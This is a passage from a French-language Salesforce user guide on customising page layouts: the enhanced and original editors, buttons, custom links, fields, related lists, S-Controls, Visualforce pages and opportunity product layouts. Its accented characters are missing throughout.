pas dplacer ni ajouter des espaces vides dans l'diteur d'origine, mais vous pouvez les supprimer en les faisant
glisser vers la case de droite.
Boutons
La partie suprieure de la prsentation de page contient un emplacement pour les boutons standard et un autre pour les
boutons personnaliss. Vous pouvez choisir les boutons standard et personnaliss qui s'affichent ainsi que l'ordre d'affichage
des boutons personnaliss, mais vous ne pouvez pas rorganiser les boutons standard.
Pour ajouter un bouton standard ou personnalis la prsentation de page, slectionnez la catgorie Boutons sur la palette
et faites glisser un ou plusieurs boutons depuis la palette vers la section des boutons dans la prsentation de page. Les
boutons standard doivent tre placs dans la zone rserve aux boutons standard et les boutons personnaliss placs dans
la zone rserve aux boutons personnaliss.
Pour supprimer un bouton standard ou personnalis de la prsentation de page, faites-le glisser vers la palette.
Pour plus d'informations sur les boutons dans les listes associes, reportez-vous Listes associes.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 551

Liens personnaliss
Pour ajouter des liens personnaliss la prsentation de page, slectionnez la catgorie Liens personnaliss sur la palette
et faites glisser un ou plusieurs liens personnaliss depuis la palette vers la section Liens personnaliss dans la prsentation
de page.
Pour supprimer un lien personnalis d'une prsentation de page, faites-le glisser vers la palette.
Champs
Pour ajouter des champs la prsentation de page, slectionnez la catgorie Champs dans la palette, puis faites glisser
un ou plusieurs champs depuis la palette vers une section de la prsentation de page, l'exception des sections rserves
aux boutons ou liens personnaliss et aux listes associes.
Une champ peut afficher une ou plusieurs icnes parmi les suivantes :

: le champ doit contenir une valeur pour sauvegarder l'enregistrement, mais il n'est pas requis dans la prsentation
de page elle-mme.
: le champ doit tre inclus dans la prsentation de page, car un administrateur l'a configur comme universellement
requis ou Salesforce.com requiert automatiquement ce champ. Mme si vous ne pouvez pas supprimer ce type de
champ, vous pouvez le dplacer vers divers emplacements.
: le champ est un champ de contrle.
: le champ est un champ dpendant.
: le champ est en lecture seule.

Pour dfinir les champs requis et en lecture seule, slectionnez un ou plusieurs champs, puis cliquez sur l'icne de cl
molette ( ) du ou d'un champ slectionn.

Vous ne pouvez pas modifier les proprits de certains champs standard. Les champs personnaliss peuvent tre
modifis uniquement s'ils ne correspondent pas de champs universellement requis.
Les administrateurs et utilisateurs disposant de l'autorisation Modifier les champs en lecture seule peuvent modifier
les champs en lecture seule.
Si vous dfinissez un champ de liste de slection en lecture seule, seuls les nouveaux enregistrements contiennent la
valeur par dfaut de cette liste de slection.
Les champs de numrotation automatique sont toujours en lecture seule.
Si vous dfinissez le champ d'opportunit Probabilit en lecture seule, sa valeur est mise jour automatiquement
ds qu'un utilisateur modifie la valeur du champ tape d'une opportunit.

Lors de l'utilisation de champs, notez les points suivants :

Dans Personal Edition, Contact Manager Edition, Group Edition et Professional Edition, les prsentations de page
contrlent les utilisateurs de champs qui ont accs aux listes associes, aux vues de liste, aux rapports, Connect
Offline, aux modles d'e-mail et de publipostage, aux liens personnaliss ainsi qu' la synchronisation des donnes.
Dans Enterprise, Unlimited et Developer Edition, cet accs est contrl par la scurit au niveau du champ. Si les
paramtres de scurit au niveau du champ sont plus restrictifs que ceux de la prsentation de page, ils remplacent
les proprits de champ que vous avez dfinies dans la prsentation de page. Reportez-vous Configuration de la
scurit au niveau du champ la page 182.
Dans les assistants d'importation pour les comptes, les contacts et les pistes l'chelle de l'organisation, les
administrateurs ont accs l'importation vers n'importe quel champ, mme si un champ est masqu ou en lecture
seule dans leur prsentation de page ou leurs paramtres de scurit au niveau des champs. Les utilisateurs individuels
ne peuvent effectuer d'importation que dans les champs auxquels ils peuvent accder via leurs paramtres de prsentation
de page ou de scurit au niveau des champs.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 552

Pour plus d'informations sur la dfinition des champs affichs pour les utilisateurs dans les rsultats de recherche,
reportez-vous Personnalisation des prsentations de recherche la page 572.

Listes associes
Pour ajouter des listes associes la prsentation de page, slectionnez la catgorie Listes associes sur la palette et faites
glisser une ou plusieurs listes associes depuis la palette vers l'emplacement souhait dans la prsentation de page. Une
prsentation de page peut avoir jusqu' 100 listes associes.
Vous pouvez placer les listes associes en bas de la prsentation de page. Pour dplacer une liste associe dans la prsentation
de page, faites glisser la poigne situe au-dessus de la liste associe.
Pour personnaliser une liste associe, double-cliquez sur la poigne de la liste associe ou cliquez sur l'icne de cl
molette ( ) dans la poigne. Utilisez les proprits de listes associes pour :

Spcifier les champs qui s'affichent en tant que colonnes dans la liste associe, leur ordre d'affichage ainsi que l'ordre
de tri des enregistrements dans la liste associe. Dans Professional, Enterprise et Unlimited Edition, vous pouvez
galement appliquer les informations de la colonne d'autres prsentations de page pour le mme type d'objet.
Spcifier les boutons standard et personnaliss qui s'affichent dans la liste associe.

Lors de l'utilisation de listes associes dans les prsentations de page, notez les points suivants :

Certaines listes associes ne sont pas personnalisables, car elles font rfrence des donnes mais ne les stockent pas.
Salesforce.com indiquent les listes associes qui ne sont pas personnalisables dans la prsentation de page.
Vous ne pouvez pas ajouter de listes associes aux prsentations de page pour l'objet utilisateur.
En outre, vous pouvez activer des liens de placement des listes associes de votre organisation afin d'inclure un lien
vers chaque liste associe en haut des pages de dtails des enregistrements. Les utilisateurs peuvent survoler un lien
de placement pour afficher la liste associe correspondante dans un plan interactif qui permet aux utilisateurs de
visualiser et de grer rapidement les lments de la liste associe. Les utilisateurs peuvent galement cliquer sur un
lien de placement de liste associe pour accder directement au contenu de celle-ci sans avoir faire dfiler la page.
Pour activer les liens de placement de liste associe, reportez-vous Personnalisation des paramtres de l'interface
utilisateur la page 361.
Dans Professional, Enterprise, Unlimited et Developer Edition, les utilisateurs individuels peuvent personnaliser
l'affichage des listes associes pour leur usage personnel. Les administrateurs peuvent remplacer ces personnalisations
utilisateur et appliquer la configuration de liste associe dans la prsentation de page de tous les utilisateurs, mme
s'ils ont dj personnalis leur affichage. Pour remplacer les personnalisations de liste associe des utilisateurs, cliquez
sur Oui dans la fentre contextuelle Remplacer les personnalisations de liste associe des utilisateurs qui s'affiche lors
de l'enregistrement d'une prsentation de page si vous avez dplac ou ajout une liste associe.

Commandes Custom S-Control

Pour ajouter des commandes s-controls la prsentation de page, slectionnez la catgorie Commandes Custom S-Control
dans la palette, puis faites glisser une ou plusieurs commandes s-control depuis la palette vers une section de la prsentation
de page, l'exception des sections rserves aux boutons ou liens personnaliss et aux listes associes. Une prsentation
de page peut avoir jusqu' 20 commandes s-controls.
Pour modifier les proprits d'une commande s-control, double-cliquez dessus ou cliquez sur son icne de cl molette
( ), puis dfinissez les attributs suivants :

L'option Largeur dfinit la taille horizontale en pixels ou sous la forme d'un pourcentage.
L'option Hauteur dfinit la taille verticale en pixels.

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Guide de l'utilisateur | Personnalisation des prsentations de page | 553

L'option Afficher les barres de dfilement dtermine si le cadre iFrame dans lequel la commande
S-Control s'affiche contient des barres de dfilement, si ncessaire.
L'option Afficher l'tiquette dtermine si la prsentation de page comprend l'tiquette de la commande
Custom S-Control. Supprimez l'tiquette pour afficher la commande s-control dans une zone plus large.

Sections
Vous pouvez ajouter ou dplacer des sections n'importe o au-dessus des listes associes dans la prsentation de page.
Les sections que vous ajoutez peuvent contenir des champs, des commandes s-control et des espaces vides. En outre,
chaque prsentation de page comporte une section par dfaut qui ne peut contenir que des liens personnaliss et des
espaces vides. Vous pouvez modifier l'emplacement de la section des liens personnaliss, mais vous ne pouvez pas la
supprimer de la page.
Pour ajouter une section, faites glisser l'lment de l'interface utilisateur Section depuis la palette jusqu' l'emplacement
souhait dans prsentation de page. L'lment de l'interface utilisateur Section est la deuxime option dans la palette
lorsque vous slectionnez la catgorie Champs ou Commandes Custom S-Control dans la palette.
Pour modifier les attributs d'une section, double-cliquez sur la section ou slectionnez son icne de cl molette (
Vous pouvez:

).

Saisissez le nom de la section. Vous ne pouvez pas modifier les noms de certaines sections standard.
Spcifier si la section doit comporter une ou deux colonnes.
Spcifier l'ordre dans lequel les utilisateurs peuvent parcourir les lments de cette section.
Spcifier si le nom de la section doit s'afficher dans les pages de dtails et de modification.

Balises

Si les balises sont actives dans votre organisation, cliquez sur Proprits de prsentation et cochez les cases en regard
des balises personnelles et publiques inclure dans la section de l'en-tte de la prsentation de page. Les utilisateurs ne
peuvent pas baliser un enregistrement si la section de l'en-tte ne comporte ni balises personnelles ni balises publiques.
En outre, le positionnement des balises personnelles et publiques dans l'en-tte ne peut tre modifi.
Pages Visualforce
Pour ajouter des pages Visualforce la prsentation de page, slectionnez la catgorie Pages Visualforce dans la palette,
puis faites glisser une ou plusieurs pages Visualforce depuis la palette vers une section de la prsentation de page,
l'exception des sections rserves aux liens personnaliss et aux listes associes. Une prsentation de page peut avoir
jusqu' 20 pages Visualforce.
Vous pouvez ajouter une page Visualforce une prsentation de page uniquement si le contrleur standard de la page
Visualforce est dfini sur l'objet pour lequel vous crez la prsentation de page. Si aucune page Visualforce ne comporte
de contrleur standard dfini sur cet objet, la catgorie Pages Visualforce ne s'affiche pas dans la palette.

Voir aussi :
Notes relatives l'utilisation de l'diteur de prsentation de page avanc
Personnalisation des prsentations de page l'aide de l'diteur avanc

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 554

Notes relatives l'utilisation de l'diteur de prsentation de page avanc

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser les prsentations de page :

Personnaliser l'application

Pour afficher les prsentations de page :

Afficher la configuration

Lors de l'utilisation de l'diteur de prsentation de page avanc, notez les points suivants :

Certains lments peuvent tre dplacs uniquement vers des emplacements spcifiques dans la prsentation de page.
Les lments dj prsents dans la prsentation de page figurent encore dans la palette, mais ils sont inactifs. Lorsque vous
cliquez sur un lment inactif de la palette, Salesforce.com slectionne l'lment dans la prsentation de page.
Lorsque vous slectionnez une catgorie d'lments dans la palette, telle que les listes associes ou les liens personnaliss,
Salesforce.com affiche la partie de la prsentation de page laquelle vous pouvez ajouter ces lments.
Le tableau suivant prsente les navigateurs qui prennent en charge l'diteur de prsentation de page avanc :
Navigateur

Remarques

Mozilla Firefox version 3.0

Les utilisateurs de Firefox qui disposent de l'autorisation

Personnaliser l'application doivent avoir la version 3.0.x
pour afficher et modifier les prsentations de page.
Remarque: Les utilisateurs qui disposent de
l'autorisation Afficher la configuration peuvent
afficher mais ne peuvent pas modifier les
prsentations de page dans la version 2 de Firefox.

Microsoft Internet Explorer versions 6.0, 7.0 et 8.0

Internet Explorer 6 n'est par performant avec les interfaces

Web avances telles que celle de l'diteur de prsentation de
pages avanc. Salesforce.com recommande vivement de
procder une mise niveau vers Mozilla Firefox version
3.0, Apple Safari pour Mac OSX, version 3.1, ou Internet
Explorer 8.0.
Important: L'utilisation d'Internet Explorer avec
Internet Explorer Developer Toolbar (la barre
d'outils pour dveloppeurs) affecte les performances
de l'diteur de prsentation de page avanc.
Dsactivez cette barre d'outils avant d'utiliser
l'diteur de prsentation de page avanc.
1. Dans Internet Explorer, slectionnez Outils
Options Internet Programmes.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 555

2. Cliquez sur Grer les modules

complmentaires.
3. Slectionnez IE Developer Toolbar et IE
Developer Toolbar BHO, puis cochez
l'option Dsactiver.
4. Fermez toutes les fentres Internet Explorer,
puis redmarrez le navigateur.
Apple Safari version 3

Si l'diteur de prsentation de page avanc est activ, les utilisateurs peuvent cliquer sur le nom de la prsentation de page
afin d'accder aux dtails correspondants. L'diteur de prsentation de page avanc ne dispose pas de page de dtails, car
les fonctionnalits de la page de dtails sont toujours disponibles dans l'diteur avanc. Salesforce.com affiche une version
en lecture seule de l'diteur de prsentation de page avanc pour les utilisateurs disposant de l'autorisation Afficher la
configuration.
Remarque: La vue en lecture seule de la prsentation de page n'affiche ni les types de champ ni les longueurs dans
les informations de survol.

Certains objets standard contiennent des cases cocher spcifiques aux prsentations de page de cet objet. Le tableau
suivant prsente ces cases cocher. Pour configurer comment Salesforce.com affiche les cases cocher, cliquez sur Proprits
de prsentation durant la personnalisation de la prsentation de page. Activez la case cocher Slectionner par
dfaut associe une case cocher pour que Salesforce.com slectionne automatiquement l'option lorsqu'un utilisateur
accde la page d'dition.
Objet

Cases cocher

Requte

Case d'attribution de requte : affiche la case

cocher Affecter l'aide de rgles
d'attribution actives dans les pages d'dition de

requtes.

Clture de requte

Piste

Case de notification d'e-mail : affiche la case

cocher Envoyer une notification par e-mail
au contact dans les pages d'dition de requtes.

Section d'information sur la solution :

affiche la case cocher de section d'information sur la

solution dans les pages d'dition de clture de requte.
Notifier le contact : affiche la case cocher
Notifier le contact dans les pages d'dition de
clture de requte.

Case d'attribution de piste : affiche la case

cocher Affecter l'aide de rgles
d'attribution actives dans les pages d'dition de

pistes.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 556

Compte personnel

Case Excuter les rgles d'attribution de

territoire lors de l'enregistrement : affiche la
case cocher Excuter les rgles d'attribution
de territoire lors de l'enregistrement dans

la page d'dition du compte personnel.

Tche

Case de notification d'e-mail : affiche la case

cocher Envoyer une notification par e-mail dans

les pages d'dition de tches.

Remarque: Une prfrence personnelle d'un
utilisateur pour appliquer par dfaut l'tat de la case
cocher est prioritaire sur le paramtre l'chelle
de l'organisation. Pour plus d'informations,
reportez-vous Cration de tches la page 1105.

Les catgories Liens personnaliss, Commandes Custom S-Controls et Pages Visualforce s'affichent dans la palette
uniquement si vous avez dfini ces types d'lments dans l'objet pour lequel vous dfinissez une prsentation de page.
Les prsentations de page pour lobjet utilisateur comprennent uniquement des champs personnaliss, des liens personnaliss,
des commandes s-control et des pages Visualforce. Le balisage, les listes associes, les boutons personnaliss et les
personnalisations de champ standard ne sont pas inclus dans les prsentations de pages de l'objet utilisateur. De mme, la
scurit au niveau du champ est disponible uniquement pour les champs personnaliss dans l'objet utilisateur.
Vous pouvez dfinir des prsentations de page miniature pour l'objet utilisateur, mais vous ne pouvez pas ajouter des champs
standard ou des listes associes. En outre, une prsentation de page miniature personnalise ne s'affiche pas dans la console.
Pour plus d'informations, reportez-vous Dfinition des prsentations de page miniatures la page 1242.
Salesforce.com recommande de crer au maximum 200 prsentations de page. Il n'existe aucune limite formelle, mais les
organisations risquent de compliquer la gestion de leurs prsentations de page si leur nombre dpasse 200.
Salesforce.com offre aux administrateurs la possibilit de visionner un court didacticiel vido lors de leur premier accs
l'diteur de prsentation de page avanc. La vido est galement disponible en cliquant sur le lien Didacticiel vido en
regard du lien Aide de cette page de l'diteur.

Voir aussi :
lments d'interface utilisateur de l'diteur de prsentation de page avanc
Personnalisation des prsentations de page l'aide de l'diteur avanc

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 557

Personnalisation des prsentations de page l'aide de l'diteur d'origine

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser des prsentations de page :

Personnaliser l'application

L'diteur de prsentation de page d'origine permet de personnaliser les prsentations des pages de dtails et de modification
de votre organisation dans Salesforce.com, le portail libre-service et le portail client Salesforce.com.
Remarque: Salesforce.com recommande d'utiliser l'diteur de prsentation de page avanc la place de l'diteur
d'origine. Pour plus d'informations, reportez-vous Personnalisation des prsentations de page l'aide de l'diteur
avanc la page 548.
Pour personnaliser des prsentations de page l'aide de l'diteur d'origine :
1. Pour des prsentations de page d'objets standard, slectionnez Configuration Personnalisation, slectionnez l'objet,
puis Prsentations de page. Pour des prsentations de page d'objets personnaliss, slectionnez Configuration Crer,
slectionnez l'objet, puis faites dfiler jusqu' la section Prsentations de page.
2. Dans les organisations qui utilisent Enterprise, Unlimited et Developer Edition, cliquez sur Modifier en regard de la
prsentation de page que vous souhaitez personnaliser. Dans les autres ditions, cliquez sur Modifier en haut de la page.
3. Si les balises sont actives dans votre entreprise, indiquez si la section des balises personnelles et publiques doit tre incluse
dans la section de l'en-tte de la prsentation de page. Des utilisateurs ne peuvent pas baliser un enregistrement si la section
de l'en-tte ne comporte ni balises personnelles ni balises publiques.

Pour ajouter des balises personnelles ou publiques la prsentation de page, slectionnez lments d'en-tte dans la
liste droulante Afficher, puis faites glisser l'lment Balises personnelles ou Balises publiques jusqu' la section
En-tte de la page. Notez que vous ne pouvez pas changer l'ordre dans lequel les balises personnelles et publiques
s'affichent lorsque les deux se trouvent en mme temps dans la section En-tte.
Pour supprimer des balises de la prsentation de page, faites glisser les lments Balises personnelles et Balises publiques
de la section En-tte de la prsentation de page jusqu' la zone situe sous la liste droulante Afficher.

Pour plus d'informations, reportez-vous propos du marquage la page 1920.

4. Pour personnaliser les boutons, double-cliquez sur l'lment Boutons de la page de dtails dans la section Bouton.

Pour masquer un bouton standard, dslectionnez la case en regard du nom du bouton.

Pour ajouter ou supprimer un bouton personnalis, slectionnez-le dans la liste Boutons disponibles et cliquez sur
Ajouter ou Supprimer.
Triez les boutons personnaliss en les slectionnant et en cliquant sur Up ou Down.
Pour annuler vos personnalisations et restaurer les paramtres par dfaut, cliquez sur Restaurer les paramtres par
dfaut.
Cliquez sur OK pour fermer la fentre contextuelle lorsque vous avez termin.

5. Pour rorganiser les champs, les commandes Custom S-Control, les pages Visualforce, les liens personnaliss et les listes
associes sur la prsentation, slectionnez un ou plusieurs lments dans la zone de droite, puis faites-les glisser jusqu'

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 558

l'emplacement souhait. Vous pouvez ajouter jusqu' 20 commandes s-control, 20 pages Visualforce et 100 listes associes
dans une prsentation de page. Il n'existe aucun limite pour les champs et les liens personnaliss.

Tout en maintenant la touche Ctrl enfonce, cliquez sur les lments slectionner.
Procdez de mme avec la touche Maj pour slectionner plusieurs lments contigus.
Remarque:

Vous pouvez ajouter une page Visualforce une prsentation de page uniquement si le contrleur standard de
la page Visualforce est dfini sur l'objet pour lequel vous crez la prsentation de page. Si aucune page Visualforce
ne comporte de contrleur standard dfini sur cet objet, la catgorie Pages Visualforce ne s'affiche pas dans la
palette.
Les lments non inclus dans la prsentation de page apparaissent dans la zone droulante de droite.
Utilisez la lgende pour dterminer les champs obligatoires, dpendants, de contrle et ceux dont les attributs
peuvent affecter les dcisions relatives la prsentation de page.

6. Pour dfinir les champs obligatoires et accessibles en lecture seule, slectionnez un ou plusieurs champs, puis cliquez sur
Modifier les proprits.

Vous ne pouvez pas modifier les proprits de certains champs standard. Les champs personnaliss peuvent tre modifis
uniquement s'ils ne correspondent pas de champs universellement requis.
Les administrateurs et utilisateurs disposant de l'autorisation Modifier les champs en lecture seule peuvent modifier
les champs en lecture seule.
Si vous dfinissez un champ de liste de slection en lecture seule, seuls les nouveaux enregistrements contiennent la
valeur par dfaut de cette liste de slection.
Les champs de numrotation automatique sont toujours en lecture seule.
Si vous dfinissez le champ d'opportunit Probabilit en lecture seule, sa valeur est mise jour automatiquement
ds qu'un utilisateur modifie la valeur du champ tape d'une opportunit.
Dans Enterprise Edition, Unlimited Edition et Developer Edition, les paramtres de scurit au niveau du champ
prvalent sur les proprits de champ dfinies ici si la scurit au niveau du champ est plus restrictive que la prsentation
de page. Reportez-vous Configuration de la scurit au niveau du champ la page 182.

7. Pour modifier les proprits d'une commande s-control ou d'une page Visualforce, double-cliquez dessus et dfinissez les
attributs suivants :

L'option Largeur dfinit la taille horizontale en pixels ou sous la forme d'un pourcentage.
L'option Hauteur dfinit la taille verticale en pixels.
L'option Afficher les barres de dfilement dtermine si le cadre iFrame dans lequel la commande S-Control
s'affiche contient des barres de dfilement, si ncessaire.
L'option Afficher l'tiquette dtermine si la prsentation de page comprend l'tiquette de la commande
Custom S-Control. Supprimez l'tiquette pour afficher la commande Custom S-Control dans une zone plus large.

8. Pour structurer la page au moyen de sections, cliquez sur Modifier en regard d'une section de page existante ou cliquez
sur Crer une nouvelle section pour crer une section de page.

Saisissez le nom de la section. Vous ne pouvez pas modifier les noms de certaines sections standard.
Indiquez si la section doit comporter une ou deux colonnes.
Dfinissez l'ordre dans lequel les utilisateurs peuvent parcourir les lments de cette section.
Indiquez si le nom de la section doit apparatre dans les pages de dtails et de modification.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 559

9. Pour personnaliser les listes associes sur la prsentation de page, double-cliquez sur la liste associe dans la section lments
associs.

Slectionnez un ou plusieurs champs, et utilisez les flches pour ajouter ou supprimer des champs dans les colonnes des
listes associes de la prsentation de page et dfinir l'ordre d'apparition de ces colonnes. Vous pouvez inclure jusqu'
10 champs par liste associe.
Tout en maintenant la touche CTRL enfonce, cliquez sur les champs slectionner.
Procdez de mme avec la touche MAJ pour slectionner plusieurs champs simultanment.
Choisissez un champ dans la liste droulante Trier par pour trier les lments de la liste associe, qui apparaissent
par ordre croissant, sauf si vous slectionnez Dcroissant. L'ordre de tri par dfaut varie selon les enregistrements.
La liste droulante Trier par n'est pas disponible pour les activits et les produits de l'opportunit.
Si ncessaire, slectionnez des prsentations de page supplmentaires auxquelles vous appliquerez la personnalisation
des listes associes.
Pour personnaliser les boutons standard qui s'affichent dans la liste associe, activez ou dsactivez la case en regard de
leur nom.
Pour personnaliser les boutons personnaliss qui s'affichent dans la liste associe, slectionnez un bouton, puis cliquez
sur Ajouter ou sur Supprimer. Triez les boutons personnaliss en les slectionnant et en cliquant sur Up ou Down.
Remarque: Pour crer un bouton personnalis pour la liste associe, reportez-vous Configuration des boutons
et liens personnaliss la page 579. Le bouton personnalis doit tre dfini pour l'objet contenu dans la liste
associe, et non l'objet parent, et le bouton Type doit tre un bouton de liste. Par exemple, pour afficher un
bouton personnalis sur la liste associe Contacts d'un compte, dfinissez le bouton personnalis des contacts,
et non des comptes.

Certaines listes associes ne sont pas personnalisables, car elles font rfrence des donnes mais ne les stockent pas. Vous
pouvez dplacer le curseur sur toute section de la liste correspondante pour savoir si elle est personnalisable. De plus, les
champs de recherche ne sont pas disponibles pour affichage dans la liste associe de recherche correspondante. Par exemple,
le champ de recherche des requtes figurant sur une prsentation de page de compte n'est pas disponible lors de la
modification de la liste associe de requtes.
10. Slectionnez l'option craser les personnalisations d'lments associs propres aux utilisateurs
pour appliquer les listes associes de la prsentation de page tous les utilisateurs, mme s'ils ont dj personnalis leur
affichage.
11. Cliquez sur Aperu pour vrifier la prsentation de page. partir de l'aperu affich dans Enterprise Edition, Unlimited
Edition et Developer Edition, slectionnez un profil pour connatre l'aspect des pages selon le profil des utilisateurs. Notez
que l'aperu de la plupart des colonnes de listes associes n'affiche aucune donne.
12. Cliquez sur Enregistrer pour achever la procdure. Vous pouvez galement cliquer sur Enregistrement rapide pour
enregistrer et poursuivre les modifications de la prsentation de page.
Les entreprises disposant de Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition peuvent
galement cliquer sur :

Cliquez sur Vue de console min. pour slectionner les enregistrements associs qui s'affichent dans la vue rduite de la
console.
Prsentation de page min. pour dfinir les prsentations de page miniatures des enregistrements qui apparaissent dans la
vue rduite de la console.
Remarque: Vous ne pouvez pas dfinir des vues rduites de la console ou des prsentations de page miniatures pour
la Prsentation de requtes cltures ou les prsentations Page de consignation de requte et Page d'affichage des
requtes dans le portail Libre-service.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 560

Dans Enterprise Edition, Unlimited Edition et Developer Edition, vous pouvez dsormais attribuer des prsentations de page
diffrentes combinaisons de profils et de types d'enregistrement (reportez-vous Attribution de prsentations de page la
page 564). Vous pouvez galement configurer la scurit au niveau du champ pour restreindre davantage l'accs aux champs
(reportez-vous Configuration de la scurit au niveau du champ la page 182).

Voir aussi :
Personnalisation des prsentations de page l'aide de l'diteur avanc
Personnalisation des listes associes
Gestion des prsentations de page
Restriction de la modification du prix et de la quantit des produits de l'opportunit
Modification des prsentations multilignes de produits de l'opportunit
Configuration du portail Client

Personnalisation des boutons de la page de dtails

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser les boutons de la page de dtails :

Personnaliser l'application

Lorsque vous personnalisez les prsentations de page, vous pouvez dcider des boutons standard et personnaliss afficher,
ainsi que de leur ordre. Pour personnaliser les boutons sur la page de dtails d'un enregistrement :
1. Cliquez sur Configuration Personnalisation, slectionnez le lien d'activit ou d'onglet appropri, puis choisissez le
lien Prsentations de recherche.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'objet personnalis de votre
choix.
2. Cliquez sur Modifier en regard de la prsentation de page personnaliser.
3. Procdez comme suit :

Dans l'diteur de prsentation de page d'origine, double-cliquez sur l'lment Boutons de la page de dtails dans la
section Bouton.
-

Pour masquer un bouton standard, dslectionnez la case en regard du nom du bouton.

Pour ajouter ou supprimer un bouton personnalis, slectionnez-le dans la liste Boutons disponibles et cliquez sur
Ajouter ou Supprimer.
Triez les boutons personnaliss en les slectionnant et en cliquant sur Up ou Down.
Pour annuler vos personnalisations et restaurer les paramtres par dfaut, cliquez sur Restaurer les paramtres par
dfaut.
Cliquez sur OK pour fermer la fentre contextuelle lorsque vous avez termin.

Dans l'diteur de prsentation de page avanc, slectionnez la catgorie Boutons dans la palette, puis faites glisser un
ou plusieurs boutons depuis la palette vers la section Boutons de la prsentation de page. Les boutons standard doivent

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 561

tre placs dans la zone rserve aux boutons standard et les boutons personnaliss placs dans la zone rserve aux
boutons personnaliss. Pour supprimer un bouton standard ou personnalis de la prsentation de page, faites-le glisser
vers la palette.
4. Cliquez sur Enregistrer dans la prsentation de page.
5. Cliquez sur Enregistrer.

Voir aussi :
Personnalisation des prsentations de page
Remplacement de boutons standard et de pages d'accueil d'onglet
Configuration des boutons et liens personnaliss

Personnalisation des listes associes

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour personnaliser les listes associes :

Personnaliser l'application

Pour personnaliser les boutons, les colonnes affiches, l'ordre des colonnes et l'ordre de tri des enregistrements dans les listes
associes des pages de dtails d'enregistrement de Salesforce.com et du portail client Salesforce.com :
1. Accdez l'diteur de prsentation de page.
2. Double-cliquez sur une liste associe dans la prsentation pour la modifier. Si vous utilisez l'diteur de prsentation de
page avanc, vous pouvez galement cliquer sur l'icne de cl molette ( ).
3. Pour personnaliser les champs qui apparaissent dans la liste associe :

Slectionnez un ou plusieurs champs, et utilisez les flches pour ajouter ou supprimer des champs dans les colonnes des
listes associes de la prsentation de page et dfinir l'ordre d'apparition de ces colonnes. Vous pouvez inclure jusqu'
10 champs par liste associe.
Tout en maintenant la touche CTRL enfonce, cliquez sur les champs slectionner.
Procdez de mme avec la touche MAJ pour slectionner plusieurs champs simultanment.
Choisissez un champ dans la liste droulante Trier par pour trier les lments de la liste associe qui s'affichent par
ordre croissant, sauf si vous slectionnez Dcroissant. L'ordre de tri par dfaut varie selon les enregistrements. La
liste droulante Trier par n'est pas disponible pour les activits et les produits de l'opportunit.
Si ncessaire, slectionnez des prsentations de page supplmentaires auxquelles vous appliquerez la personnalisation
des listes associes. Seules les prsentations qui comprennent cette liste associe figurent dans la liste. Les prsentations
qui comprennent des listes associes avec les mmes personnalisations que la prsentation actuelle l'ouverture, sont
slectionnes par dfaut.

Les champs de recherche ne sont pas disponibles pour affichage dans la liste associe de recherche correspondante. Par
exemple, le champ de recherche des requtes figurant sur une prsentation de page de compte n'est pas disponible lors de
la modification de la liste associe de requtes.

Personnaliser

Guide de l'utilisateur | Personnalisation des prsentations de page | 562

4. Pour dfinir les boutons standard qui apparaissent dans la liste associe, cochez ou dslectionnez la case situe en regard
de leur nom.
Remarque: Pour afficher les boutons dans l'diteur de prsentation de page avanc, cliquez sur le signe plus dans
la section Boutons.
5. Pour dfinir les boutons personnaliss qui apparaissent dans la liste associe :

Pour ajouter ou supprimer un bouton personnalis, slectionnez-le et cliquez sur Ajouter ou Supprimer.
Triez les boutons personnaliss en les slectionnant et en cliquant sur Up ou Down.

Pour crer un bouton personnalis pour la liste associe, reportez-vous Configuration des boutons et liens personnaliss
la page 579. Le bouton personnalis doit tre dfini pour l'objet contenu dans la liste associe, et non l'objet parent, et le
bouton Type doit tre un bouton de liste. Par exemple, pour afficher un bouton personnalis sur la liste associe Contacts
d'un compte, dfinissez le bouton personnalis des contacts, et non des comptes.
6. Si ncessaire, cliquez sur Restaurer les paramtres par dfaut pour annuler toutes les personnalisations et utiliser les
paramtres Salesforce.com par dfaut de la liste associe.
7. Cliquez sur OK pour conserver vos personnalisations. Les modifications sont enregistres lorsque vous cliquez sur Enregistrer
dans la prsentation de page.
8. Slectionnez l'option craser les personnalisations d'lments associs propres aux utilisateurs
pour appliquer les listes associes de la prsentation de page tous les utilisateurs, mme s'ils ont dj personnalis leur
affichage.
9. Cliquez sur Aperu pour vrifier la prsentation de page. partir de l'aperu affich dans Enterprise Edition, Unlimited
Edition et Developer Edition, slectionnez un profil pour connatre l'aspect des pages selon le profil des utilisateurs.
10. Cliquez sur Enregistrer.

Voir aussi :
Cration d'une relation plusieurs--plusieurs

Modification des prsentations multilignes de produits de l'opportunit

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour modifier des prsentations multilignes de produits de
l'opportunit :

Personnaliser l'application

Vous pouvez personnaliser les colonnes qui apparaissent lorsque vous cliquez sur Modifier tout dans la liste associe Produits
d'une page de dtails d'une opportunit.
1. Cliquez sur Configuration Personnalisation Opportunits Produits de l'opportunit Prsentations de page.
2. Cliquez sur le nom d'une prsentation de page de produits de l'opportunit.
3. Cliquez sur Modifier la prsentation multilignes.

Personnaliser

Guide de l'utilisateur | Suppression de prsentations de page | 563

4. Dplacez les champs voulus de la liste Champs disponibles vers la liste Champs slectionns :

Slectionnez un ou plusieurs champs et utilisez les flches Ajouter et Supprimer pour les dplacer d'une liste l'autre.
Vous pouvez galement cliquer sur les flches Haut et Bas pour changer l'ordre de la liste Champs slectionns.
Tout en maintenant la touche CTRL enfonce, cliquez sur les champs slectionner.
Procdez de mme avec la touche MAJ pour slectionner plusieurs champs simultanment.

5. Cliquez sur Enregistrer pour appliquer vos modifications.

Suppression de prsentations de page

